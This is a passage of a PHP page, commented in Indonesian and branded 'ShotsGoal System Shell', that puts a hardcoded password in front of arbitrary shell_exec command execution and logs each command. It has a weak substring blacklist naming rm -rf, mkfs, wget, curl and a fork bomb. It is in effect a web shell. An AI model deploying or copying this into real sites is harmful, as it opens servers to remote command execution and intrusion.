MAX_LOG_SIZE) { $lines = array_slice($lines, -MAX_LOG_SIZE); file_put_contents(LOG_FILE, implode('', $lines)); } } } // ============================================ // PROSES LOGIN // ============================================ $error = ''; if (isset($_POST['login'])) { $password = $_POST['password'] ?? ''; if ($password === SHELL_PASSWORD) { $_SESSION['shell_logged_in'] = true; $_SESSION['login_time'] = time(); $_SESSION['username'] = 'admin'; // Refresh halaman untuk menghilangkan POST data header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $error = 'Password salah!'; } } if (isset($_GET['logout'])) { unset($_SESSION['shell_logged_in']); session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } $isLoggedIn = isset($_SESSION['shell_logged_in']) && $_SESSION['shell_logged_in'] === true; // ============================================ // PROSES PERINTAH // ============================================ $command = ''; $output = ''; if ($isLoggedIn && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = trim($_POST['command']); // Blacklist perintah berbahaya $dangerous = ['rm -rf', 'mkfs', 'dd', '> /dev/sd', ':(){', 'wget', 'curl', 'chmod 777', 'mv', 'cp', 'kill']; $safe = true; foreach ($dangerous as $bad) { if (stripos($command, $bad) !== false) { $safe = false; break; } } if (!$safe) { $output = "PERINTAH DITOLAK: Operasi berbahaya tidak diizinkan.\n"; } elseif ($command === 'clear') { // Clear screen - simpan sesi untuk membersihkan output $_SESSION['clear_screen'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } elseif ($command === 'log') { if (file_exists(LOG_FILE)) { $output = file_get_contents(LOG_FILE); } else { $output = "Belum ada log."; } } else { // Eksekusi perintah dengan pengamanan $output = shell_exec($command . ' 2>&1'); if ($output === null || $output === '') { $output = "Perintah selesai (tanpa output).\n"; } writeLog($command, $output); } } // Jika ada permintaan clear screen, kita hanya tidak menampilkan output sebelumnya if (isset($_SESSION['clear_screen'])) { unset($_SESSION['clear_screen']); // Tidak perlu menampilkan output lama } // ============================================ // MULAI OUTPUT HTML // ============================================ ?> ShotsGoal • System Shell
ShotsGoal System Shell

Akses Terbatas

Masukkan password untuk mengakses system shell

Semua aktivitas akan tercatat.
❯ ' . htmlspecialchars($command) . '
'; } if (!empty($output)) { echo '
' . nl2br(htmlspecialchars($output)) . '
'; } ?>
Logout
Session: Login: Log: Server: